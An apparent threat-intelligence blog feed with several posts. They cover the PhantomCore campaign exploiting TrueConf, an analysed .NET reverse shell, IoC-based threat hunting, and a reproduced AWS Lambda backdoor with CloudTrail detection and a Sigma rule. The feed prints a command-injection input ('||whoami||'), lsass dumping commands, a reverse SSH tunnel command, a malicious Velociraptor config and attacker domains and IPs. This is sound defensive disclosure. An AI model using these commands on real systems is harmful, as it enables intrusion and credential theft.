<p>The PT ESC IR team, together with the Threat Intelligence team, is observing a new campaign by the APT group <a href="https://ptsecurity.com/research/pt-esc-threat-intelligence/phantom-pains-a-large-scale-cyber-espionage-campaign-and-a-possible-split-of-the-apt-group-phantomcore/" rel="noopener" target="_blank">PhantomCore,</a> in which the attackers are mass-compromising companies through a chain of vulnerabilities (<a href="https://bdu.fstec.ru/vul/2025-10114" rel="noopener" target="_blank">BDU:2025-10114,</a> <a href="https://bdu.fstec.ru/vul/2025-10115" rel="noopener" target="_blank">BDU:2025-10115,</a> <a href="https://bdu.fstec.ru/vul/2025-10116" rel="noopener" target="_blank">BDU:2025-10116</a>) in the TrueConf video conferencing service.</p>
<p>Information about the vulnerabilities in the service was published in August in the FSTEC BDU, and update recommendations were also <a href="https://trueconf.ru/blog/update/trueconf-server-security-update-08-25" rel="noopener" target="_blank">released</a>. RED Security specialists previously reported the exploitation of these vulnerabilities <a href="https://redsecurity.ru/news/khakery-atakuyut-rossiyskie-kompanii-s-pomoshchyu-uyazvimostey-v-trueconf" rel="noopener" target="_blank">in their article.</a></p>
<p><strong>👀</strong><strong> Example of command execution after exploitation under the process name </strong><code>tc_server.exe</code><strong>:<br />
</strong></p>

<pre class="wp-block-code"><span><code class="hljs language-plaintext">cmd.exe /s /c "C:\\Program Files\\TrueConf Server\\tc_server.exe" /mode:1 /ServerID:a /ServerName:aaa1111#vcs /Serial:||whoami|| /File:"C:\\TrueConf\\activation\\offlinereg.vrg"</code></span></pre>

<p><strong>Example of a log event for detecting compromise:<br />
</strong></p>

<pre class="wp-block-code"><span><code class="hljs language-yaml"><span class="hljs-attr">error:</span> <span class="hljs-string">the</span> <span class="hljs-string">required</span> <span class="hljs-string">argument</span> <span class="hljs-string">for</span> <span class="hljs-string">option</span> <span class="hljs-string">'--Serial'</span> <span class="hljs-string">is</span> <span class="hljs-string">missing</span></code></span></pre>

<p>After gaining access to the infrastructure, the attackers act quite selectively and use various techniques to disguise their activity as the actions of information security specialists.</p>
<p>After that, the attackers develop the attack within the network and move laterally through the infrastructure using the remote management protocols <code>WinRM</code> and <code>RDP</code>. The use of <code>WinRM</code> can be monitored in Windows events, as well as in the <a href="https://pgerlings.me/winrmclientlist" rel="noopener" target="_blank">registry:</a></p>

<pre class="wp-block-code"><span><code class="hljs language-plaintext">Microsoft\Windows\CurrentVersion\WSMAN\SafeClientList\WSManSafeClientList</code></span></pre>

<p>To develop the attack and gain access to privileged accounts, the threat actors obtained a dump of the <code>lsass</code> process, using tools such as:</p>
<p>• DFIR utility for creating a memory dump <a href="https://www.magnetforensics.com/resources/magnet-dumpit-for-windows/" rel="noopener" target="_blank">DumpIt</a> (<code>DumpIt.exe /O dump.dmp</code>)<br />
• file system library <a href="https://github.com/dokan-dev/dokany" rel="noopener" target="_blank">Dokan</a><br />
• utility for analyzing memory dumps <a href="https://github.com/ufrisk/MemProcFS" rel="noopener" target="_blank">MemProcFS</a> (<code>memprocfs.exe -device dump.dmp / M:\name\lsass.exe-123\minidump</code>)</p>
<p>On hosts, the attackers established persistence using primarily a number of their own tools:</p>
<p>• HeartDoor<br />
• MacTunnelRAT (designed to create a reverse SSH tunnel)<br />
• PhantomSscp (designed to create a reverse SSH tunnel)<br />
• OpenSSH (<code>ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=15 -f -N -R 39433 -p 443 [REDACTED]@[REDACTED]</code>)<br />
• Velociraptor</p>
<p>We pay particular attention to the installation of the <a href="https://docs.velociraptor.app/" rel="noopener" target="_blank">Velociraptor,</a> utility, which, as a rule, is used by specialists during information security incident investigations, and by attackers — for remote control. Solar 4RAYS specialists previously <a href="https://rt-solar.ru/solar-4rays/blog/4559/" rel="noopener" target="_blank">reported</a> the use of the DFIR tool by attackers.</p>
<p><strong>Example configuration:<br />
</strong></p>

<pre class="wp-block-code"><span><code class="hljs language-yaml"><span class="hljs-attr">version:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">velociraptor</span>
  <span class="hljs-attr">version:</span> <span class="hljs-number">0.74</span><span class="hljs-number">.2</span>
  <span class="hljs-attr">commit:</span> <span class="hljs-string">121178eb6</span>
  <span class="hljs-attr">build_time:</span> <span class="hljs-string">"2025-04-20T01:04:04Z"</span>
  <span class="hljs-string">...</span>
<span class="hljs-attr">Client:</span>
  <span class="hljs-attr">server_urls:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-string">https://telecom-connect.online/</span>
  <span class="hljs-attr">windows_installer:</span>
    <span class="hljs-attr">service_name:</span> <span class="hljs-string">WindowsSecurityAgentSvc</span>
    <span class="hljs-attr">install_path:</span> <span class="hljs-string">C:\Windows\System32\Windows</span> <span class="hljs-string">Security</span> <span class="hljs-string">Health\SecurityHealhAgent.exe</span>
    <span class="hljs-attr">service_description:</span> <span class="hljs-string">Windows</span> <span class="hljs-string">Security</span> <span class="hljs-string">Agent</span> <span class="hljs-string">Service</span>
    <span class="hljs-string">...</span></code></span></pre>

<p>🐾 <strong>Paths</strong></p>
<p></p>
<pre class="wp-block-code"><code>c:\Windows\ime\ssh.msi
c:\Windows\ime\k.msi
C:\Program Files\TrueConf Server\httpconf\site\private\css\c.css
C:\Program Files\TrueConf Server\httpconf\site\public\rx.exe
C:\Program Files\TrueConf Server\httpconf\site\public\ws.dll
C:\TrueConf\activation\offlinereg.vrg
C:\Windows\System32\Windows Security Health\SecurityHealhAgent.exe
C:\Windows\System32\dfxhost.dll
Check-Update.xml
Check-Update.ps1
Create-Check-Update-Task.ps1</code></pre>
<p></p>
<p>🧑‍💻 <strong>IoCs</strong></p>
<p><strong>HeartDoor</strong></p>
<p></p>
<pre class="wp-block-code"><code>8f2f31aaa46920efdfa622b52cd8cd53
fde9563317a0c0249447b123b2137b0e

185.189.12.166</code></pre>
<p></p>
<p><strong>PhantomSscp</strong></p>
<p></p>
<pre class="wp-block-code"><code>e5b540f47ec1707fcd9980ab426be115
4b2ce3df0bae02806a72139b5d9e9a55
486faa9e2efbf78d4c03ba5dfe72eb1d
99ef13d85d2b45cb24a86f1e9923d63a  


reserve-safe.online
online-channel.online
infonixsecurity.online
xbox-updater.online</code></pre>
<p></p>
<p><strong>MacTunnelRAT</strong></p>
<p></p>
<pre class="wp-block-code"><code>a346f2145bb7b3cce7c8c8c4d88d4678
c549a2e6533e73ea39bfa466e5e6dcd8
ad64f8c8469c87ed0c395c8936550af6

cyberposi.space
nexaguard.space
solution-itspace.online
moscow-tv.online
analytisec.space
safebloom.space
cloud-update.online
shieldify.online
optivault.space
brightshield.space
trustbeam.space
188.127.227.46</code></pre>
<p></p>
<p><strong>Velociraptor</strong></p>
<p></p>
<pre class="wp-block-code"><code>d91f8fb7ee4ec98bd80bad69d7667842

telecom-connect.online</code></pre>
<p></p>
<p><strong>Stage Hub</strong></p>
<p></p>
<pre class="wp-block-code"><code>31.57.93.105</code></pre>
<p></p>
<p><strong>SSH Tunnel Control Panel</strong></p>
<p></p>
<pre class="wp-block-code"><code>77.73.39.120
191.101.184.123</code></pre>
<p></p>
<p><span class="hashtag">#ioc</span> <span class="hashtag">#dfir</span> <span class="hashtag">#ti</span> <span class="hashtag">#ir</span> <span class="hashtag">#detect</span> <span class="hashtag">#apt</span> <span class="hashtag">#PhantomCore</span><br /><a href="https://t.me/ptescalator" target="_blank" rel="noopener">@ptescalator</a></p>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>New connection to old techniques</title>
		<link>https://ptesc.tech/en/new-connection-to-old-techniques/</link>
		
		<dc:creator><![CDATA[oUth0R]]></dc:creator>
		<pubDate>Wed, 26 Nov 2025 14:04:40 +0000</pubDate>
				<category><![CDATA[Incident Response]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[dfir]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[ir]]></category>
		<category><![CDATA[TI]]></category>
		<category><![CDATA[win]]></category>
		<category><![CDATA[yara]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%be%d0%b2%d0%be%d0%b5-%d0%bf%d0%be%d0%b4%d0%ba%d0%bb%d1%8e%d1%87%d0%b5%d0%bd%d0%b8%d0%b5-%d0%ba-%d1%81%d1%82%d0%b0%d1%80%d1%8b%d0%bc-%d1%82%d0%b5%d1%85%d0%bd%d0%b8%d0%ba%d0%b0%d0%bc/</guid>

					<description><![CDATA[A New Connection to Old Techniques 📡 During incident investigations, the PT ESC IR team discovered a reverse shell developed in .NET and observed since 2023. It was used by the attackers to control compromised hosts. The malware creates a c…]]></description>
										<content:encoded><![CDATA[<strong>A New Connection to Old Techniques</strong> 📡<br />
<br />
During incident investigations, the PT ESC IR team discovered a reverse shell developed in .NET and observed since 2023. It was used by the attackers to control compromised hosts. The malware creates a <code>cmd.exe</code> process and redirects the input/output stream to a control server, which, as a rule, was one of the hosts in the internal infrastructure. A secure TCP client technique with SSL/TLS was used for the secure network connection.<br />
<br />
❕ The distinctive feature of this tool is that it is implemented using the <code>System.Windows.Data</code> component from the Windows Presentation Framework. The technique itself is not new — code execution primitives using <code>System.Windows.Data</code> are actively used in vulnerability exploitation. Let us examine its implementation in more detail.<br />
<br />
The <code>Main</code> function (<em>screenshot 1</em>) demonstrates the technique of direct execution via <code>ObjectDataProvider</code> from the <code>System.Windows.Data</code> namespace. Despite the absence of an explicit method call, when the <code>ObjectInstance</code>, <code>MethodParameters</code>, and finally <code>MethodName</code> properties are configured sequentially, the object automatically initiates execution of the specified method (<code>Connect.Start</code>) — directly during its initialization in the <code>Main</code> method. The use of the <code>ExpandedWrapper&lt;Connect, ObjectDataProvider&gt;</code> wrapper indicates borrowing of a pattern from known gadget chains for deserialization, although in this case exploitation occurs directly, without a serialization stage.<br />
<br />
The <code>Connect.Start</code> method (<em>screenshot 2</em>) launches the system command shell (<code>cmd.exe</code>) as a child process, asynchronously intercepts its output via the <code>P_OutputDataReceived</code> handler, and redirects the data back to the C2 server, while simultaneously using a custom delegate (<code>Delegate.Combine</code>) for dynamic binding with the <code>Px</code> component responsible for network transmission of commands and results. This architecture allows the attacker to execute arbitrary commands in the context of <code>cmd.exe</code> on the infected machine, while keeping the interaction based on legitimate .NET APIs.<br />
<br />
The <code>Net.Run</code> method (<em>screenshot 3</em>) implements the network C2 logic, establishing an encrypted connection to a remote server via <code>TcpClient</code> and <code>SslStream</code> with forced use of TLS 1.2; the IP address and port are taken from encrypted configuration data (<em>screenshot 4</em>) and decrypted on the fly using AES256 in <code>CBC/NoPadding</code> mode, with PBKDF2 (RFC 2898) used to generate the key, taking as input a string value of the password and salt (<em>screenshot 5</em>).<br />
<br />
<strong>To decrypt the configuration data, you can use the following CyberChef recipes:</strong><br />
<br />
1. <a href="https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B&#039;option&#039;:&#039;Latin1&#039;,&#039;string&#039;:&#039;&#039;%7D,256,1000,&#039;SHA1&#039;,%7B&#039;option&#039;:&#039;Latin1&#039;,&#039;string&#039;:&#039;&#039;%7D)" rel="noopener" target="_blank">Key generation,</a> into which you must pass <code>App.PasswordHash</code> and <code>App.SaltKey</code>;<br />
<br />
2. <a href="https://gchq.github.io/CyberChef/#recipe=From_Base64(&#039;A-Za-z0-9%2B/%3D&#039;,true,false)AES_Decrypt(%7B&#039;option&#039;:&#039;Hex&#039;,&#039;string&#039;:&#039;&#039;%7D,%7B&#039;option&#039;:&#039;Latin1&#039;,&#039;string&#039;:&#039;&#039;%7D,&#039;CBC/NoPadding&#039;,&#039;Raw&#039;,&#039;Raw&#039;,%7B&#039;option&#039;:&#039;Hex&#039;,&#039;string&#039;:&#039;&#039;%7D,%7B&#039;option&#039;:&#039;Hex&#039;,&#039;string&#039;:&#039;&#039;%7D)" rel="noopener" target="_blank">Decryption algorithm.</a><br />
<br />
🗂 <strong>The malicious files were located in legitimate directories:
</strong><br />
<strong>• </strong>C:\Program Files\Internet Explorer\mshealthupdate.exe<br />
<br />
<strong>• </strong>C:\Program Files\Common Files\System\msadds.exe<br />
<br />
<strong>• </strong>C:\Program Files\Common Files\System\ado\msader.exe<br />
<br />
To establish persistence in the infrastructure and launch the executable files, the attackers used the Windows Task Scheduler.<br />
<br />
This tool is similar to the implementation of the well-known <code>ncat</code> utility. To invoke the malicious method, the legitimate <code>ObjectDataProvider</code> class from the <code>WPF</code> system library is used, delegates are used to dynamically attach handlers, leaving no clear call chain in the IL code. TLS 1.2 is used to encrypt the console output, and certificate errors are ignored (<code>ValidateServerCertificate =&gt; true</code>), which allows it to work with any C2, including dynamic IPs.<br />
<br />
<strong>YARA:</strong><br />
<br />
<pre class="wp-block-code"><span><code lang="powershell" class="hljs language-powershell language-powershell">rule MSADDShell {
    strings:
        <span class="hljs-variable">$v1</span> = <span class="hljs-string">"net_handlerDelOutDataNet"</span>
        <span class="hljs-variable">$v2</span> = <span class="hljs-string">"P_OutputDataReceived"</span>
        <span class="hljs-variable">$v3</span> = <span class="hljs-string">"add_OutputDataReceived"</span>
        <span class="hljs-variable">$v4</span> = <span class="hljs-string">"SendDataFwd"</span>
        <span class="hljs-variable">$v5</span> = <span class="hljs-string">"OnhandlerDelFwfPx"</span>
        <span class="hljs-variable">$v6</span> = <span class="hljs-string">"OnhandlerDelOutDataNet"</span>
        <span class="hljs-variable">$v7</span> = <span class="hljs-string">"msadds.exe"</span> wide
    condition:
        uint16(<span class="hljs-number">0</span>) == <span class="hljs-number">0</span>x5A4D and <span class="hljs-number">5</span> of (<span class="hljs-variable">$v</span>*) and filesize &lt; <span class="hljs-number">100</span>KB
}</code></span></pre>

<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_432@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_433@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_434@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="640" src="https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-1024x640.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-1024x640.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-300x188.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40-768x480.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/11/photo_435@26-11-2025_14-04-40.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#IOC</span> <span class="hashtag">#yara</span> <span class="hashtag">#dfir</span> <span class="hashtag">#detect</span> <span class="hashtag">#win</span> <span class="hashtag">#ti</span> <span class="hashtag">#ir</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Using IoC unconventionally. Part 1. Threat hunting</title>
		<link>https://ptesc.tech/en/using-ioc-unconventionally-part-1-threat-hunting/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Tue, 30 Sep 2025 15:16:27 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b8%d1%81%d0%bf%d0%be%d0%bb%d1%8c%d0%b7%d1%83%d0%b5%d0%bc-ioc-%d0%bd%d0%b5%d1%81%d1%82%d0%b0%d0%bd%d0%b4%d0%b0%d1%80%d1%82%d0%bd%d0%be-%d1%87%d0%b0%d1%81%d1%82%d1%8c-1-threat-hunting/</guid>

					<description><![CDATA[Using IoC in a non-standard way. Part 1. Threat hunting 🧐 When we talk about indicators of compromise, we usually mean a reactive approach to defense: a security tool detected a bad IP address, and we blocked it. This is certainly important…]]></description>
										<content:encoded><![CDATA[<p><strong>Using IoC in a non-standard way. Part 1. Threat hunting</strong> 🧐</p>
<p>When we talk about indicators of compromise, we usually mean a reactive approach to defense: a security tool detected a bad IP address, and we blocked it. This is certainly important, but it is dealing with the consequences.</p>
<p>In this post, we will discuss <strong>non-reactive scenarios for using indicators of compromise</strong>, namely — how to look for threats that have already occurred but went unnoticed, and how to use indicator data to predict future attacks.</p>
<p>Imagine that an attacker has already infiltrated an organization&#8217;s network and has been there for some time. They may not have used the indicators of compromise known to us, which means we missed them. What can be done about this? Well, for example, use threat hunting methods. In this case, IoCs will act not as detection signatures, but as starting points for an investigation.</p>
<p>As an example, let&#8217;s consider two ways of using indicators of compromise for threat hunting.</p>
<p>➡️ <strong>Using IoC as a basis for threat hunting</strong></p>
<p>This is the most straightforward method. For example, you receive a fresh feed of indicators of compromise and see among them those related to a group you are interested in. To start, you can take only these indicators and search for their mentions in the security tool logs.</p>
<p>If nothing interesting is found, you should pay attention to indicators related to those you searched for earlier: it is also useful to search for them. And finally, you can use not only indicators of compromise but also indicators of attack related to them (or to the hacker group itself). It is good practice to build hypotheses based on these and verify their implementation in the security tool logs.</p>
<blockquote><p>Example hypothesis: &#8220;A certain group uses a trojan whose executable file is often disguised as legitimate system processes. Let&#8217;s search our network for processes with names similar to dllhost.exe, svchost.exe, but launched from user temporary folders (%TEMP%, %APPDATA%), and check their hashes and network activity.&#8221;</p></blockquote>
<p>➡️<strong> Using IoC as a basis for building an attacker profile</strong></p>
<p>Instead of searching for a specific indicator, we can look for the &#8220;signature&#8221; of a hacker group. As in the first method, we can compile a list of indicators for the group of interest and analyze their context. Often in feeds, you can find links between an indicator and MITRE ATT&amp;CK techniques, which can hint at what kind of malicious activity an information security specialist might encounter.</p>
<p>Accordingly, by obtaining a list of techniques from such indicators, we can understand which threat implementation methods a particular attacker uses. Then, using the same feeds or the MITRE ATT&amp;CK matrix, we obtain procedures for those techniques, formulate hypotheses, and test them.</p>
<blockquote><p>Example hypothesis:</p></blockquote>
<blockquote><p> &#8220;After collecting the current set of indicators of compromise related to a certain group, we found that it abuses the Windows Management Instrumentation (WMI) utility for lateral movement. Let&#8217;s analyze logs for anomalous use of WMI providers, especially outside of working hours or from non-privileged accounts.&#8221;</p></blockquote>
<p>Thus, it can be said that IoCs can initiate threat hunting and a full incident investigation. Working with them allows you to launch many hypotheses and find things you would not have found by simply reviewing detections 🤔</p>
<p><span class="hashtag">#ioc</span> <span class="hashtag">#detect</span> <span class="hashtag">#tip</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Idea for a correlation rule in SIEM</title>
		<link>https://ptesc.tech/en/idea-for-a-correlation-rule-in-siem/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Mon, 29 Sep 2025 17:16:11 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[sigma]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b8%d0%b4%d0%b5%d1%8f-%d0%b4%d0%bb%d1%8f-%d0%bf%d1%80%d0%b0%d0%b2%d0%b8%d0%bb%d0%b0-%d0%ba%d0%be%d1%80%d1%80%d0%b5%d0%bb%d1%8f%d1%86%d0%b8%d0%b8-%d0%b2-siem/</guid>

					<description><![CDATA[Idea for a SIEM correlation rule 💡 Although tracking the entire attack chain described in the posts above provides a complete picture, the strongest and simplest signal to implement is the user creation event itself. IF eventName = CreateUs…]]></description>
										<content:encoded><![CDATA[<p><strong>Idea for a SIEM correlation rule</strong> <strong>💡 </strong></p>
<p>Although tracking the entire attack chain described in the posts above provides a complete picture, the strongest and simplest signal to implement is the user creation event itself.</p>
<p>IF <code>eventName = CreateUser</code> AND <code>userIdentity</code> points to a Lambda function role (<code>userIdentity.inScopeOf.issuerType = AWS::Lambda::Function</code>), <br />
THEN generate a high-priority alert.</p>
<p>Given that creating users via Lambda functions is extremely rare and anomalous behavior, such a rule will have a very low false positive rate.</p>
<p><strong>Sigma rule:</strong></p>
<pre><code>title: Suspicious IAM User Creation by AWS Lambda Function
id: 700feb27-05a5-4ba1-ae80-2c8d0d3591eb
status: test
description: &gt;-
    Detects the creation or modification of an IAM user/credentials where the action is initiated by an AWS Lambda function&#039;s execution role.
    This is a highly anomalous behavior and a key indicator of the &quot;Persistence-as-a-Service&quot; technique,
    where an attacker uses a Lambda function (often exposed via an open API Gateway) to create backdoor users.
references:
    - https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
author: &#039;PT ESC&#039;
date: &#039;2025/09/20&#039;
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventName:
            - CreateUser
            - CreateAccessKey
            - AttachUserPolicy
            - UpdateLoginProfile
        userIdentity.inScopeOf.issuerType: &#039;AWS::Lambda::Function&#039;
    condition: selection
falsepositives:
    - Legitimate workflows that use Lambda to automatically create users (e.g., a custom registration portal). These functions should be added to the exceptions.
level: high
</code></pre>
<p>This experiment once again proved that monitoring the actions of the services themselves (not just users) is the key to cloud security. What other cloud persistence techniques have you encountered?</p>
<p><span class="hashtag">#detect</span> <span class="hashtag">#tip</span> <span class="hashtag">#sigma</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>We continue reproducing the attack from the post above 🔼</title>
		<link>https://ptesc.tech/en/continuing-to-reproduce-the-attack-from-the-post-above/</link>
		
		<dc:creator><![CDATA[global_author]]></dc:creator>
		<pubDate>Mon, 29 Sep 2025 14:37:31 +0000</pubDate>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[detect]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[tips]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bf%d1%80%d0%be%d0%b4%d0%be%d0%bb%d0%b6%d0%b0%d0%b5%d0%bc-%d0%b2%d0%be%d1%81%d0%bf%d1%80%d0%be%d0%b8%d0%b7%d0%b2%d0%be%d0%b4%d0%b8%d1%82%d1%8c-%d0%b0%d1%82%d0%b0%d0%ba%d1%83-%d0%b8%d0%b7-%d0%bf/</guid>

					<description><![CDATA[Continuing to reproduce the attack from the post above 🔼 3️⃣ Creating a public API Gateway trigger (screenshot 1) At the end, we need to expose the function to the internet. We added an API Gateway trigger to the Lambda function, specifying…]]></description>
										<content:encoded><![CDATA[<strong>Continuing to reproduce the attack from the post above 🔼</strong><br />
<br />
3️⃣<strong> Creating a public API Gateway trigger</strong> (<em>screenshot 1</em>)<br />
<br />
At the end, we need to expose the function to the internet. We added an API Gateway trigger to the Lambda function, specifying <code>Security: Open</code> in the settings. A public URL is created, which became the backdoor. It will look something like this:<br />
<br />
<pre class="wp-block-code"><span><code lang="yaml" class="hljs language-yaml language-yaml"><span class="hljs-string">https://abcdef123.execute-api.eu-central-1.amazonaws.com/default/create-backdoor-user-poc</span>
</code></span></pre><br />
<br />
Note: since the cold start and three API calls can take a noticeable amount of time, we increased the Lambda function timeout from the default 3 to 15 seconds.<br />
<br />
4️⃣<strong> Executing the attack</strong><br />
<br />
Now it&#8217;s enough to simply navigate to the URL generated by API Gateway. In response, the browser receives JSON with fresh credentials of the new administrator (<em>screenshot 2</em>):<br />
<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">{
  <span class="hljs-attr">"AccessKeyId"</span>: <span class="hljs-string">"AKIAS22MVUU75MYRNT3U"</span>,
  <span class="hljs-attr">"SecretAccessKey"</span>: <span class="hljs-string">"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"</span>,
  <span class="hljs-attr">"UserName"</span>: <span class="hljs-string">"backdoor-user-20250921-155854"</span>
}
</code></span></pre><br />
<br />
When checking the result in AWS, we see the newly created user with the <code>AdministratorAccess</code> policy attached (<em>screenshot 3</em>).<br />
 <br />
<strong>👣 Digital footprint</strong><br />
<br />
Analysis of AWS CloudTrail logs showed that reliable detection requires tracking the entire chain of events.<br />
<br />
<strong>1️⃣ CreateRole event (creating a role for Lambda)</strong><br />
<br />
At the first stage, a log entry appears for the creation of an IAM role with the telling name lambda-backdoor-role, intended for the Lambda service. This action by itself is not malicious, but it is where the chain begins.<br />
<br />
• <code>eventName: CreateRole</code> — the action itself.<br />
•<code> requestParameters.roleName: lambda-backdoor-role</code> — the role name.<br />
• <code>userIdentity.userName</code> — who exactly created this role.<br />
<br />
2️⃣<strong> CreateFunction event (creating the Lambda function)</strong><br />
<br />
Next, we see that the very role created in the first step is attached to the new function create-backdoor-user-poc (requestParameters.role).<br />
<br />
• <code>eventName: CreateFunction2015033</code>1 — the action of creating the function.<br />
• <code>requestParameters.functionName: create-backdoor-user-poc</code> — the function name.<br />
• <code>requestParameters.role: arn:aws:iam::***:role/lambda-backdoor-role</code> — shows that the very role created in the first step is attached to the new function.<br />
<br />
<strong>3️⃣ CreateApi event (creating the API Gateway trigger)</strong><br />
<br />
Here a public API is created. The key indicator in the log is the field userIdentity.invokedBy with the value AWS Internal and requestParameters.description equal to Created by AWS Lambda. This indicates that the API was created automatically through the Lambda interface, which is characteristic of this attack.<br />
<br />
<strong>4️⃣ CreateUser event (creating the backdoor user)</strong><br />
<br />
In the log we see an event of a new user being created, but the field <code>userIdentity.sessionContext.sessionIssuer.userName</code> contains the name of our role <code>lambda-backdoor-role</code>. This is an anomaly: a service role suddenly started creating users.<br />
<br />
• <code>eventName: CreateUser</code> — the action itself.<br />
• <code>userIdentity.type: AssumedRole</code> — indicates that the action was performed not directly by a user, but by a role.<br />
• <code>userIdentity.sessionContext.sessionIssuer.userName: lambda-backdoor-role</code> — the initiating user is not a human, but the Lambda service role. This is an anomaly.<br />
• <code>requestParameters.userName: backdoor-user-20250921-155854</code> — the name of the created user.<br />
• At the very bottom of the userIdentity object there is a special block <code>inScopeOf</code>. The field <code>&quot;issuerType&quot;: &quot;AWS::Lambda::Function&quot;</code> — this indicates that the temporary credentials used for this API call were issued specifically to the Lambda function.<br />
• Another very strong indicator is userAgent: the presence of the substring <code>exec-env/AWS_Lambda</code>. This string is added by the Lambda runtime and shows that the code that made the API call was executed specifically in the Lambda environment.<br />
<br />
If the post gets three likes, then in the next one we&#8217;ll share an idea for a correlation rule in SIEM 😉

<figure class="wp-block-image"><img width="1024" height="597" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-1024x597.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-300x175.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31-768x448.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_389@29-09-2025_14-37-31.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="597" src="https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-1024x597.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-1024x597.jpg 1024w, https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-300x175.jpg 300w, https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31-768x448.jpg 768w, https://ptesc.tech/wp-content/uploads/2025/09/photo_390@29-09-2025_14-37-31.jpg 1200w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#detect</span> <span class="hashtag">#tip</span> <span class="hashtag">#reverse</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
	</channel>
